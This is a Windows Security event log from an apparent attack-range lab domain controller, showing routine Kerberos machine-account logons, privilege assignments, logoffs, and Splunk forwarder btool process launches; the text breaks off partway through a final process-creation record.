03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252167
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x151F35
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64607

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252166
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x151F35

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252165
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x151ECF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252164
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x151ECF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64606

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252163
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x151ECF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252162
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x151E6E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252161
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x151E6E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64605

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252160
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x151E6E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252159
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1310
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1228
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunkd" check-transforms-keys

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252158
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xd60
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-regex --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252157
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd60
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1228
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252156
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1248
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1160
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-strptime --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252155
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1160
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1228
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warnings

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252193
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x152FA0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252192
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x152FA0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64614

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252191
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x152FA0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252190
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x152EEA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252189
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x152EEA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64613

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252188
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x152EEA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252187
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x152E31

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252186
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x152E31
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64612

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252185
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x152E31

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252184
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x152D7D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252183
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x152D7D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64611

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252182
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x152D7D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252181
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
